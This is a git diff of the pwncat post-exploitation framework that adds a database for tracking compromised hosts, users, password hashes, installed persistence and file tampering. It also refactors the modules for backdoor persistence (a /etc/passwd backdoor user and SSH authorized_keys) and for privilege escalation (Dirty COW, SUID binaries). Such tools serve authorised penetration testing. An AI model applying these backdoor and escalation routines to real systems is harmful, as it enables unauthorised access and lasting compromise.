diff --git a/.gitignore b/.gitignore index b1f20a2..9ac568d 100644 --- a/.gitignore +++ b/.gitignore @@ -7,3 +7,4 @@ dist/ .byebug_history testbed .idea/ +data/*.sqlite diff --git a/data/pwncatrc b/data/pwncatrc index 8652340..cc661cf 100644 --- a/data/pwncatrc +++ b/data/pwncatrc @@ -7,6 +7,7 @@ set privkey "data/pwncat" # Set the pwncat backdoor user and password set backdoor_user "pwncat" set backdoor_pass "pwncat" +set db "sqlite:///data/pwncat.sqlite" set on_load { # Run a command upon a stable connection diff --git a/pwncat/__init__.py b/pwncat/__init__.py index 949e2fd..5bc6611 100644 --- a/pwncat/__init__.py +++ b/pwncat/__init__.py @@ -1,4 +1,6 @@ #!/usr/bin/env python3 from typing import Optional +from pwncat import db + victim: Optional["pwncat.remote.Victim"] = None diff --git a/pwncat/__main__.py b/pwncat/__main__.py index 4aae4eb..2f0245d 100644 --- a/pwncat/__main__.py +++ b/pwncat/__main__.py @@ -5,6 +5,8 @@ import selectors import socket import sys +from sqlalchemy.exc import InvalidRequestError + import pwncat from pwncat.remote import Victim from pwncat import util @@ -125,6 +127,11 @@ def main(): finally: # Restore the shell pwncat.victim.restore_local_term() + try: + # Make sure everything was committed + pwncat.victim.session.commit() + except InvalidRequestError: + pass util.success("local terminal restored") diff --git a/pwncat/commands/__init__.py b/pwncat/commands/__init__.py index 880d7a2..82aa666 100644 --- a/pwncat/commands/__init__.py +++ b/pwncat/commands/__init__.py @@ -19,7 +19,7 @@ from prompt_toolkit.lexers import PygmentsLexer from prompt_toolkit.document import Document from pygments.styles import get_style_by_name from prompt_toolkit.auto_suggest import AutoSuggestFromHistory -from prompt_toolkit.history import InMemoryHistory +from prompt_toolkit.history import InMemoryHistory, History from typing import Dict, Any, List, Iterable from colorama import Fore from enum import Enum, auto @@ -32,6 +32,7 @@ import re from pprint import pprint import pwncat +import pwncat.db from pwncat.commands.base import CommandDefinition, Complete from pwncat.util import State from pwncat import util @@ -94,6 +95,24 @@ def resolve_blocks(source: str): return "".join(result).split("\n") +class DatabaseHistory(History): + """ Yield history from the host entry in the database """ + + def load_history_strings(self) -> Iterable[str]: + """ Load the history from the database """ + for history in ( + pwncat.victim.session.query(pwncat.db.History) + .order_by(pwncat.db.History.id.desc()) + .all() + ): + yield history.command + + def store_string(self, string: str) -> None: + """ Store a command in the database """ + history = pwncat.db.History(host_id=pwncat.victim.host.id, command=string) + pwncat.victim.session.add(history) + + class CommandParser: """ Handles dynamically loading command classes, parsing input, and dispatching commands. """ @@ -110,7 +129,17 @@ class CommandParser: loader.find_module(module_name).load_module(module_name).Command() ) - history = InMemoryHistory() + self.prompt: PromptSession = None + self.toolbar: PromptSession = None + self.loading_complete = False + self.aliases: Dict[str, CommandDefinition] = {} + self.shortcuts: Dict[str, CommandDefinition] = {} + + def setup_prompt(self): + """ This needs to happen after __init__ when the database is fully + initialized. """ + + history = DatabaseHistory() completer = CommandCompleter(self.commands) lexer = PygmentsLexer(CommandLexer.build(self.commands)) style = style_from_pygments_cls(get_style_by_name("monokai")) @@ -144,10 +173,6 @@ class CommandParser: history=history, ) - self.loading_complete = False - self.aliases: Dict[str, CommandDefinition] = {} - self.shortcuts: Dict[str, CommandDefinition] = {} - @property def loaded(self): return self.loading_complete diff --git a/pwncat/commands/persist.py b/pwncat/commands/persist.py index f40b978..566a7e6 100644 --- a/pwncat/commands/persist.py +++ b/pwncat/commands/persist.py @@ -20,10 +20,10 @@ class Command(CommandDefinition): def get_user_choices(self): """ Get the user options """ current = pwncat.victim.current_user - if current["name"] == "root" or current["uid"] == 0: + if current.id == 0: return [name for name in pwncat.victim.users] else: - return [current["name"]] + return [current.name] PROG = "persist" ARGS = { @@ -92,7 +92,7 @@ class Command(CommandDefinition): if method.system and method.installed(): yield (method.name, None, method) elif not method.system: - if me["uid"] == 0: + if me.id == 0: for user in pwncat.victim.users: util.progress(f"checking {method.name} for: {user}") if method.installed(user): @@ -100,14 +100,14 @@ class Command(CommandDefinition): yield (method.name, user, method) util.erase_progress() else: - if method.installed(me["name"]): - yield (method.name, me["name"], method) + if method.installed(me.name): + yield (method.name, me.name, method) def run(self, args): if args.action == "status": ninstalled = 0 - for name, user, method in self.installed_methods: + for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: @@ -122,12 +122,12 @@ class Command(CommandDefinition): return elif args.action == "clean": util.progress("cleaning persistence methods: ") - for name, user, method in self.installed_methods: + for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}" ) - method.remove(user) + pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() @@ -140,13 +140,6 @@ class Command(CommandDefinition): self.parser.error("no method specified") return - # Lookup the method - try: - method = pwncat.victim.persist.find(args.method) - except KeyError: - self.parser.error(f"{args.method}: no such persistence method") - return - # Grab the user we want to install the persistence as if args.user: user = args.user @@ -154,31 +147,10 @@ class Command(CommandDefinition): # Default is to install as current user user = pwncat.victim.whoami() - if args.action == "install": - try: - - # Check that the module isn't already installed - if method.installed(user): - util.error(f"{method.format(user)} already installed") - return - - util.success(f"installing {method.format(user)}") - - # Install the persistence - method.install(user) - except PersistenceError as exc: - util.error(f"{method.format(user)}: install failed: {exc}") - elif args.action == "remove": - try: - - # Check that the module isn't already installed - if not method.installed(user): - util.error(f"{method.format(user)} not installed") - return - - util.success(f"removing {method.format(user)}") - - # Remove the method - method.remove(user) - except PersistenceError as exc: - util.error(f"{method.format(user)}: removal failed: {exc}") + try: + if args.action == "install": + pwncat.victim.persist.install(args.method, args.user) + elif args.action == "remove": + pwncat.victim.persist.remove(args.method, args.user) + except PersistenceError as exc: + util.error(f"{exc}") diff --git a/pwncat/commands/tamper.py b/pwncat/commands/tamper.py index dc32e4a..9829037 100644 --- a/pwncat/commands/tamper.py +++ b/pwncat/commands/tamper.py @@ -22,6 +22,11 @@ class Command(CommandDefinition): type=int, help="Tamper ID to revert (IDs found in tamper list)", ), + "--all,-a": parameter( + Complete.NONE, + action="store_true", + help="Attempt to revert all tampered files", + ), "--revert,-r": parameter( Complete.NONE, action=StoreConstOnce, @@ -43,14 +48,30 @@ class Command(CommandDefinition): def run(self, args): if args.action == "revert": - if args.tamper not in range(len(pwncat.victim.tamper.tampers)): - self.parser.error("invalid tamper id") - tamper = pwncat.victim.tamper.tampers[args.tamper] - try: - tamper.revert() - pwncat.victim.tamper.tampers.pop(args.tamper) - except RevertFailed as exc: - util.error(f"revert failed: {exc}") + if args.all: + removed_tampers = [] + util.progress(f"reverting tamper") + for tamper in pwncat.victim.tamper: + try: + util.progress(f"reverting tamper: {tamper}") + tamper.revert() + removed_tampers.append(tamper) + except RevertFailed as exc: + util.warn(f"{tamper}: revert failed: {exc}") + for tamper in removed_tampers: + pwncat.victim.tamper.remove(tamper) + util.success("tampers reverted!") + pwncat.victim.session.commit() + else: + if args.tamper not in range(len(pwncat.victim.tamper)): + self.parser.error("invalid tamper id") + tamper = pwncat.victim.tamper[args.tamper] + try: + tamper.revert() + pwncat.victim.tamper.remove(tamper) + except RevertFailed as exc: + util.error(f"revert failed: {exc}") + pwncat.victim.session.commit() else: - for id, tamper in enumerate(pwncat.victim.tamper.tampers): + for id, tamper in enumerate(pwncat.victim.tamper): print(f" {id} - {tamper}") diff --git a/pwncat/config.py b/pwncat/config.py index 06a1de3..15c3f58 100644 --- a/pwncat/config.py +++ b/pwncat/config.py @@ -62,6 +62,7 @@ class Config: "backdoor_user": {"value": "pwncat", "type": str}, "backdoor_pass": {"value": "pwncat", "type": str}, "on_load": {"value": "", "type": str}, + "db": {"value": "sqlite:///:memory:", "type": str}, } # Map ascii escape sequences or printable bytes to lists of commands to diff --git a/pwncat/db/__init__.py b/pwncat/db/__init__.py new file mode 100644 index 0000000..b6bde52 --- /dev/null +++ b/pwncat/db/__init__.py @@ -0,0 +1,10 @@ +#!/usr/bin/env python3 + +from pwncat.db.base import Base +from pwncat.db.binary import Binary +from pwncat.db.history import History +from pwncat.db.host import Host +from pwncat.db.persist import Persistence +from pwncat.db.suid import SUID +from pwncat.db.tamper import Tamper +from pwncat.db.user import User, Group, SecondaryGroupAssociation diff --git a/pwncat/db/base.py b/pwncat/db/base.py new file mode 100644 index 0000000..992602f --- /dev/null +++ b/pwncat/db/base.py @@ -0,0 +1,5 @@ +#!/usr/bin/env python3 + +from sqlalchemy.ext.declarative import declarative_base + +Base = declarative_base() diff --git a/pwncat/db/binary.py b/pwncat/db/binary.py new file mode 100644 index 0000000..c916f39 --- /dev/null +++ b/pwncat/db/binary.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, String, ForeignKey +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class Binary(Base): + + __tablename__ = "binary" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="binaries") + # The path to the binary on the remote host + path = Column(String) diff --git a/pwncat/db/history.py b/pwncat/db/history.py new file mode 100644 index 0000000..303fb3d --- /dev/null +++ b/pwncat/db/history.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, String, ForeignKey +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class History(Base): + + __tablename__ = "history" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="history") + command = Column(String) diff --git a/pwncat/db/host.py b/pwncat/db/host.py new file mode 100644 index 0000000..d4a7a62 --- /dev/null +++ b/pwncat/db/host.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, String +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class Host(Base): + + __tablename__ = "host" + + # Database identifier + id = Column(Integer, primary_key=True) + # A unique hash identifying this host + hash = Column(String) + # The remote architecture (uname -m) + arch = Column(String) + # The remote kernel version (uname -r) + kernel = Column(String) + # The remote distro (probed from /etc/*release), or "unknown" + distro = Column(String) + # A list of groups this host has + groups = relationship("Group") + # A list of users this host has + users = relationship("User") + # A list of persistence methods applied to this host + persistence = relationship("Persistence") + # A list of tampers applied to this host + tampers = relationship("Tamper") + # A list of resolved binaries for the remote host + binaries = relationship("Binary") + # Command history for local prompt + history = relationship("History") + # A list of SUID binaries found across all users (may have overlap, and may not be + # accessible by the current user). + suid = relationship("SUID") diff --git a/pwncat/db/persist.py b/pwncat/db/persist.py new file mode 100644 index 0000000..7ae938b --- /dev/null +++ b/pwncat/db/persist.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, String, ForeignKey +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class Persistence(Base): + + __tablename__ = "persistence" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="persistence") + # The type of persistence + method = Column(String) + # The user this persistence was applied as (ignored for system persistence) + user = Column(String) diff --git a/pwncat/db/suid.py b/pwncat/db/suid.py new file mode 100644 index 0000000..facf412 --- /dev/null +++ b/pwncat/db/suid.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +from sqlalchemy import ForeignKey, Integer, Column, String +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class SUID(Base): + + __tablename__ = "suid" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="suid", foreign_keys=[host_id]) + user_id = Column(Integer, ForeignKey("users.id")) + user = relationship("User", backref="suid", foreign_keys=[user_id]) + # Path to this SUID binary + path = Column(String) + owner_id = Column(Integer, ForeignKey("users.id")) + owner = relationship("User", foreign_keys=[owner_id], backref="owned_suid") diff --git a/pwncat/db/tamper.py b/pwncat/db/tamper.py new file mode 100644 index 0000000..3c7ef71 --- /dev/null +++ b/pwncat/db/tamper.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, String, ForeignKey, LargeBinary +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + + +class Tamper(Base): + + __tablename__ = "tamper" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="tampers") + name = Column(String) + data = Column(LargeBinary) diff --git a/pwncat/db/user.py b/pwncat/db/user.py new file mode 100644 index 0000000..f38330e --- /dev/null +++ b/pwncat/db/user.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python3 +from sqlalchemy import Column, Integer, String, ForeignKey, Table +from sqlalchemy.orm import relationship + +from pwncat.db.base import Base + +SecondaryGroupAssociation = Table( + "secondary_group_association", + Base.metadata, + Column("group_id", Integer, ForeignKey("groups.id")), + Column("user_id", ForeignKey("users.id")), +) + + +class Group(Base): + + __tablename__ = "groups" + + id = Column(Integer, primary_key=True) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="groups") + name = Column(String) + members = relationship( + "User", back_populates="groups", secondary=SecondaryGroupAssociation + ) + + +class User(Base): + + __tablename__ = "users" + + # The users UID + id = Column(Integer) + host_id = Column(Integer, ForeignKey("host.id")) + host = relationship("Host", back_populates="users") + # The users GID + gid = Column(Integer, ForeignKey("groups.id")) + # The actual DB Group object representing that group + group = relationship("Group") + # The name of the user + name = Column(String, primary_key=True) + # The user's full name + fullname = Column(String) + # The user's home directory + homedir = Column(String) + # The user's password, if known + password = Column(String) + # The hash of the user's password, if known + hash = Column(String) + # The user's default shell + shell = Column(String) + # The user's secondary groups + groups = relationship( + "Group", back_populates="members", secondary=SecondaryGroupAssociation + ) + + def __repr__(self): + return f"""User(uid={self.id}, gid={self.gid}, name={repr(self.name)})""" diff --git a/pwncat/persist/__init__.py b/pwncat/persist/__init__.py index fd61f21..6ee782e 100644 --- a/pwncat/persist/__init__.py +++ b/pwncat/persist/__init__.py @@ -1,13 +1,20 @@ #!/usr/bin/env python3 +import functools import pkgutil from typing import Optional, Dict, Iterator from colorama import Fore +import pwncat + class PersistenceError(Exception): """ Indicates a problem in adding/removing a persistence method """ +def persistence_tamper_removal(name: str, user: Optional[str] = None): + pwncat.victim.persist.remove(name, user, from_tamper=True) + + class Persistence: def __init__(self): @@ -20,10 +27,40 @@ class Persistence: def install(self, name: str, user: Optional[str] = None): """ Add persistence as the specified user. If the specified persistence method is system method, the "user" argument is ignored. """ - method = self.find(name) + try: + method = next(self.find(name)) + except StopIteration: + raise PersistenceError(f"{name}: no such persistence method") if not method.system and user is None: - raise PersistenceError("non-system methods require a user argument") + raise PersistenceError( + f"{method.format(user)}: non-system methods require a user argument" + ) + if method.installed(user): + raise PersistenceError(f"{method.format(user)}: already installed") method.install(user) + self.register(name, user) + + def register(self, name: str, user: Optional[str] = None): + """ Register a persistence method as pre-installed. This is useful for some privilege escalation + which automatically adds things equivalent to persistent, but without the + persistence module itself (e.g. backdooring /etc/passwd or SSH keys). """ + + method = next(self.find(name)) + + persist = pwncat.db.Persistence(method=name, user=user) + pwncat.victim.host.persistence.append(persist) + + # Also register a tamper to track in both places + pwncat.victim.tamper.custom( + f"Persistence: {method.format(user)}", + functools.partial(persistence_tamper_removal, name=name, user=user), + ) + + @property + def installed(self) -> Iterator["PersistenceMethod"]: + """ Retrieve a list of installed persistence methods """ + for persist in pwncat.victim.host.persistence: + yield persist.user, self.methods[persist.method] def find( self, @@ -52,17 +89,39 @@ class Persistence: # All checks passed. Yield the method. yield method - def remove(self, name: str, user: Optional[str] = None): + def remove(self, name: str, user: Optional[str] = None, from_tamper: bool = False): """ Remove the specified persistence method from the remote victim if the given persistence method is a system method, the "user" argument is ignored. """ - method = self.find(name) + try: + method = next(self.find(name)) + except StopIteration: + raise PersistenceError(f"{name}: no such persistence method") if not method.system and user is None: - raise PersistenceError("non-system methods require a user argument") + raise PersistenceError( + f"{method.format(user)}: non-system methods require a user argument" + ) if not method.installed(user): - raise PersistenceError("not installed") + raise PersistenceError(f"{method.format(user)}: not installed") method.remove(user) + # Grab this from the database + persist = ( + pwncat.victim.session.query(pwncat.db.Persistence) + .filter_by(host_id=pwncat.victim.host.id, method=name, user=user) + .first() + ) + if persist is not None: + pwncat.victim.session.delete(persist) + pwncat.victim.session.commit() + + # Remove the tamper as well + if not from_tamper: + for tamper in pwncat.victim.tamper: + if str(tamper) == f"Persistence: {method.format(user)}": + pwncat.victim.tamper.remove(tamper) + break + def __iter__(self) -> Iterator["PersistenceMethod"]: yield from self.methods.values() @@ -98,7 +157,14 @@ class PersistenceMethod: raise NotImplementedError def installed(self, user: Optional[str] = None) -> bool: - raise NotImplementedError + if ( + pwncat.victim.session.query(pwncat.db.Persistence) + .filter_by(method=self.name, user=user) + .first() + is not None + ): + return True + return False def escalate(self, user: Optional[str] = None) -> bool: """ If this is a local method, this should escalate to the given user if diff --git a/pwncat/persist/passwd.py b/pwncat/persist/passwd.py index fd00c4e..c192962 100644 --- a/pwncat/persist/passwd.py +++ b/pwncat/persist/passwd.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 import crypt from typing import Optional +from colorama import Fore import pwncat from pwncat.persist import PersistenceMethod, PersistenceError @@ -18,10 +19,6 @@ class Method(PersistenceMethod): def system(self) -> bool: return True - def installed(self, user: Optional[str] = None): - pwncat.victim.reload_users() - return pwncat.victim.config["backdoor_user"] in pwncat.victim.users - def install(self, user: Optional[str] = None): try: @@ -49,9 +46,6 @@ class Method(PersistenceMethod): except (PermissionError, FileNotFoundError) as exc: raise PersistenceError(str(exc)) - # Track this modification in our tamper as well - pwncat.victim.tamper.modified_file("/etc/passwd", added_lines=passwd[-1:]) - # Ensure user cache is up to date pwncat.victim.reload_users() @@ -108,10 +102,6 @@ class Method(PersistenceMethod): def escalate(self, user: Optional[str] = None) -> bool: - # We can always check this, so we might as well give it a try - if not self.installed(user): - return False - # First, escalate to the backdoor user pwncat.victim.run(f"su {pwncat.victim.config['backdoor_user']}", wait=False) pwncat.victim.recvuntil(b": ") diff --git a/pwncat/persist/userauthkey.py b/pwncat/persist/userauthkey.py index fcd2147..859325b 100644 --- a/pwncat/persist/userauthkey.py +++ b/pwncat/persist/userauthkey.py @@ -16,46 +16,9 @@ class Method(PersistenceMethod): name = "authorized_keys" local = False - def installed(self, user: Optional[str] = None) -> bool: - - homedir = pwncat.victim.users[user]["home"] - if not homedir or homedir == "": - return False - - # Create .ssh directory if it doesn't exist - access = pwncat.victim.access(os.path.join(homedir, ".ssh")) - if Access.DIRECTORY not in access or Access.EXISTS not in access: - return False - - # Create the authorized_keys file if it doesn't exist - access = pwncat.victim.access(os.path.join(homedir, ".ssh", "authorized_keys")) - if Access.EXISTS not in access: - return False - else: - try: - # Read in the current authorized keys if it exists - with pwncat.victim.open( - os.path.join(homedir, ".ssh", "authorized_keys"), "r" - ) as filp: - authkeys = filp.readlines() - except (FileNotFoundError, PermissionError) as exc: - return False - try: - # Read our public key - with open(pwncat.victim.config["privkey"] + ".pub", "r") as filp: - pubkey = filp.readlines() - except (FileNotFoundError, PermissionError) as exc: - return False - - # Ensure we read a public key - if not pubkey: - return False - - return pubkey[0] in authkeys - def install(self, user: Optional[str] = None): - homedir = pwncat.victim.users[user]["home"] + homedir = pwncat.victim.users[user].homedir if not homedir or homedir == "": raise PersistenceError("no home directory") @@ -119,7 +82,7 @@ class Method(PersistenceMethod): def remove(self, user: Optional[str] = None): - homedir = pwncat.victim.users[user]["home"] + homedir = pwncat.victim.users[user].homedir if not homedir or homedir == "": raise PersistenceError("no home directory") diff --git a/pwncat/privesc/__init__.py b/pwncat/privesc/__init__.py index a2917cb..da274dd 100644 --- a/pwncat/privesc/__init__.py +++ b/pwncat/privesc/__init__.py @@ -127,9 +127,9 @@ class Finder: current_user = pwncat.victim.current_user if ( - target_user == current_user["name"] - or current_user["uid"] == 0 - or current_user["name"] == "root" + target_user == current_user.name + or current_user.id == 0 + or current_user.name == "root" ): with pwncat.victim.open(filename, "wb", length=len(data)) as filp: filp.write(data) @@ -201,9 +201,9 @@ class Finder: current_user = pwncat.victim.current_user if ( - target_user == current_user["name"] - or current_user["uid"] == 0 - or current_user["name"] == "root" + target_user == current_user.name + or current_user.id == 0 + or current_user.name == "root" ): pipe = pwncat.victim.open(filename, "rb") return pipe, chain @@ -351,7 +351,7 @@ class Finder: "/etc/passwd", added_lines=lines[-1:] ) - pwncat.victim.users[user]["password"] = pwncat.victim.config[ + pwncat.victim.users[user].password = pwncat.victim.config[ "backdoor_pass" ] self.backdoor_user = pwncat.victim.users[user] @@ -430,7 +430,7 @@ class Finder: # AuthorizedKeysFile is normally relative to the home directory if not authkeys_path.startswith("/"): # Grab the user information from /etc/passwd - home = pwncat.victim.users[techniques[0].user]["home"] + home = pwncat.victim.users[techniques[0].user].homedir if home == "" or home is None: raise PrivescError("no user home directory, can't add ssh keys") @@ -460,12 +460,12 @@ class Finder: # authenticate without a password and without clobbering their # keys. ssh_key_glob = os.path.join( - pwncat.victim.users[reader.user]["home"], ".ssh", "*.pub" + pwncat.victim.users[reader.user].homedir, ".ssh", "*.pub" ) # keys = pwncat.victim.run(f"ls {ssh_key_glob}").strip().decode("utf-8") keys = ["id_rsa.pub"] keys = [ - os.path.join(pwncat.victim.users[reader.user]["home"], ".ssh", key) + os.path.join(pwncat.victim.users[reader.user].homedir, ".ssh", key) for key in keys ] @@ -553,9 +553,10 @@ class Finder: authkeys_path, ("\n".join(authkeys) + "\n").encode("utf-8"), writer ) - if len(authkeys) > 1: + if len(readers) > 0: + # We read the content in, so we know what we added pwncat.victim.tamper.modified_file( - authkeys_path, added_lines=pubkey + "\n" + authkeys_path, added_lines=[pubkey + "\n"] ) else: # We couldn't read their authkeys, but log that we clobbered it. The user asked us to. :shrug: @@ -622,11 +623,11 @@ class Finder: current_user = pwncat.victim.current_user if ( - target_user == current_user["name"] - or current_user["uid"] == 0 - or current_user["name"] == "root" + target_user == current_user.name + or current_user.id == 0 + or current_user.name == "root" ): - raise PrivescError(f"you are already {current_user['name']}") + raise PrivescError(f"you are already {current_user.name}") if starting_user is None: starting_user = current_user @@ -639,9 +640,9 @@ class Finder: # Check if we have a persistence method for this user util.progress(f"checking local persistence implants") - for persist in pwncat.victim.persist.find( - installed=True, local=True, user=target_user - ): + for user, persist in pwncat.victim.persist.installed: + if not persist.local or (user != target_user and user is not None): + continue util.progress( f"checking local persistence implants: {persist.format(target_user)}" ) @@ -699,35 +700,29 @@ class Finder: # Try to use persistence as other users util.progress(f"checking local persistence implants") - for user in pwncat.victim.users: + for user, persist in pwncat.victim.persist.installed: if self.in_chain(user, chain): continue - util.progress(f"checking local persistence implants: {user}") - for persist in pwncat.victim.persist.find( - installed=True, local=True, system=False, user=user - ): - util.progress( - f"checking local persistence implants: {persist.format(user)}" - ) - if persist.escalate(user): - if pwncat.victim.whoami() != user: - if pwncat.victim.getenv("SHLVL") != shlvl: - pwncat.victim.run("exit", wait=False) - continue - - chain.append( - (f"persistence - {persist.format(target_user)}", "exit") - ) - - try: - return self.escalate(target_user, depth, chain, starting_user) - except PrivescError: - chain.pop() + util.progress( + f"checking local persistence implants: {persist.format(user)}" + ) + if persist.escalate(user): + if pwncat.victim.whoami() != user: + if pwncat.victim.getenv("SHLVL") != shlvl: pwncat.victim.run("exit", wait=False) + continue - # Don't retry later - if user in techniques: - del techniques[user] + chain.append((f"persistence - {persist.format(target_user)}", "exit")) + + try: + return self.escalate(target_user, depth, chain, starting_user) + except PrivescError: + chain.pop() + pwncat.victim.run("exit", wait=False) + + # Don't retry later + if user in techniques: + del techniques[user] # We can't escalate directly to the target. Instead, try recursively # against other users. diff --git a/pwncat/privesc/base.py b/pwncat/privesc/base.py index b178d97..b5bfc32 100644 --- a/pwncat/privesc/base.py +++ b/pwncat/privesc/base.py @@ -95,12 +95,12 @@ class SuMethod(Method): for user, info in self.pty.users.items(): if user == current_user: continue - if info.get("password") is not None or current_user == "root": + if info.password is not None or current_user == "root": result.append( Technique( user=user, method=self, - ident=info["password"], + ident=info.password, capabilities=Capability.SHELL, ) ) @@ -113,7 +113,7 @@ class SuMethod(Method): password = technique.ident.encode("utf-8") - if current_user["name"] != "root": + if current_user.name != "root": # Send the su command, and check if it succeeds self.pty.run( f'su {technique.user} -c "echo good"', wait=False, @@ -133,7 +133,7 @@ class SuMethod(Method): self.pty.process(f"su {technique.user}", delim=False) - if current_user["name"] != "root": + if current_user.name != "root": self.pty.recvuntil(": ") self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n") self.pty.flush_output() diff --git a/pwncat/privesc/dirtycow.py b/pwncat/privesc/dirtycow.py index 4563333..0163a20 100644 --- a/pwncat/privesc/dirtycow.py +++ b/pwncat/privesc/dirtycow.py @@ -10,6 +10,7 @@ import socket from io import StringIO, BytesIO import functools +import pwncat from pwncat.util import CTRL_C from pwncat.privesc.base import Method, PrivescError, Technique from pwncat.file import RemoteBinaryPipe @@ -29,16 +30,6 @@ class DirtycowMethod(Method): super(DirtycowMethod, self).__init__(pty) self.ran_before = False - with open("data/dirtycow/mini_dirtycow.c") as h: - self.dc_source = h.read() - - self.dc_source = self.dc_source.replace( - "PWNCAT_USER", self.pty.privesc.backdoor_user_name - ) - self.dc_source = self.dc_source.replace( - "PWNCAT_PASS", self.pty.privesc.backdoor_password - ) - def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ @@ -65,6 +56,16 @@ class DirtycowMethod(Method): def execute(self, technique: Technique): """ Run the specified technique """ + with open("data/dirtycow/mini_dirtycow.c") as h: + dc_source = h.read() + + dc_source = dc_source.replace( + "PWNCAT_USER", pwncat.victim.config["backdoor_user"] + ) + dc_source = dc_source.replace( + "PWNCAT_PASS", pwncat.victim.config["backdoor_pass"] + ) + self.ran_before = True writer = gtfobins.Binary.find_capability(self.pty.which, Capability.WRITE) @@ -75,7 +76,7 @@ class DirtycowMethod(Method): dc_binary = self.pty.run("mktemp").decode("utf-8").strip() # Write the file - self.pty.run(writer.write_file(dc_source, self.dc_source)) + self.pty.run(writer.write_file(dc_source, dc_source)) # Compile Dirtycow self.pty.run(f"cc -pthread {dc_source_file} -o {dc_binary} -lcrypt") diff --git a/pwncat/privesc/setuid.py b/pwncat/privesc/setuid.py index 80fb458..8fe3368 100644 --- a/pwncat/privesc/setuid.py +++ b/pwncat/privesc/setuid.py @@ -7,6 +7,7 @@ import os from colorama import Fore, Style import io +import pwncat from pwncat.privesc.base import Method, PrivescError, Technique from pwncat.gtfobins import Binary, Stream, Capability, MethodWrapper, BinaryNotFound from pwncat.file import RemoteBinaryPipe @@ -26,18 +27,15 @@ class SetuidMethod(Method): def find_suid(self): - current_user = self.pty.whoami() + current_user: "pwncat.db.User" = pwncat.victim.current_user - # Only re-run the search if we haven't searched as this user yet - if current_user in self.users_searched: + # We've already searched for SUID binaries as this user + if len(current_user.suid): return - # Note that we already searched for binaries as this user - self.users_searched.append(current_user) - # Spawn a find command to locate the setuid binaries files = [] - with self.pty.subprocess( + with pwncat.victim.subprocess( "find / -perm -4000 -print 2>/dev/null", mode="r", no_job=True ) as stream: util.progress("searching for setuid binaries") @@ -45,7 +43,7 @@ class SetuidMethod(Method): path = path.strip().decode("utf-8") util.progress( ( - f"searching for setuid binaries as {Fore.GREEN}{current_user}{Fore.RESET}: " + f"searching for setuid binaries as {Fore.GREEN}{current_user.name}{Fore.RESET}: " f"{Fore.CYAN}{os.path.basename(path)}{Fore.RESET}" ) ) @@ -53,17 +51,17 @@ class SetuidMethod(Method): util.success("searching for setuid binaries: complete", overlay=True) - for path in files: - user = ( - self.pty.run(f"stat -c '%U' {shlex.quote(path)}") - .strip() - .decode("utf-8") - ) - if user not in self.suid_paths: - self.suid_paths[user] = [] - # Only add new binaries - if path not in self.suid_paths[user]: - self.suid_paths[user].append(path) + with pwncat.victim.subprocess( + f"stat -c '%U' {' '.join(files)}", mode="r", no_job=True + ) as stream: + for file, user in zip(files, stream): + user = user.strip().decode("utf-8") + binary = pwncat.db.SUID(path=file,) + pwncat.victim.host.suid.append(binary) + pwncat.victim.users[user].owned_suid.append(binary) + current_user.suid.append(binary) + + pwncat.victim.session.commit() def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]: """ Find all techniques known at this time """ @@ -72,15 +70,16 @@ class SetuidMethod(Method): self.find_suid() known_techniques = [] - for user, paths in self.suid_paths.items(): - for path in paths: - try: - binary = self.pty.gtfo.find_binary(path, caps) - except BinaryNotFound: - continue + for suid in pwncat.victim.host.suid: + try: + binary = pwncat.victim.gtfo.find_binary(suid.path, caps) + except BinaryNotFound: + continue - for method in binary.iter_methods(path, caps, Stream.ANY): - known_techniques.append(Technique(user, self, method, method.cap)) + for method in binary.iter_methods(suid.path, caps, Stream.ANY): + known_techniques.append( + Technique(suid.owner.name, self, method, method.cap) + ) return known_techniques @@ -90,14 +89,16 @@ class SetuidMethod(Method): method = technique.ident # Build the payload - payload, input_data, exit_cmd = method.build(shell=self.pty.shell, suid=True) + payload, input_data, exit_cmd = method.build( + shell=pwncat.victim.shell, suid=True + ) # Run the start commands - # self.pty.process(payload, delim=False) - self.pty.run(payload, wait=False) + # pwncat.victim.process(payload, delim=False) + pwncat.victim.run(payload, wait=False) # Send required input - self.pty.client.send(input_data.encode("utf-8")) + pwncat.victim.client.send(input_data.encode("utf-8")) return exit_cmd # remember how to close out of this privesc @@ -112,7 +113,7 @@ class SetuidMethod(Method): mode += "b" # Send the read payload - pipe = self.pty.subprocess( + pipe = pwncat.victim.subprocess( payload, mode, data=input_data.encode("utf-8"), @@ -138,7 +139,7 @@ class SetuidMethod(Method): mode += "b" # Send the read payload - pipe = self.pty.subprocess( + pipe = pwncat.victim.subprocess( payload, mode, data=input_data.encode("utf-8"), diff --git 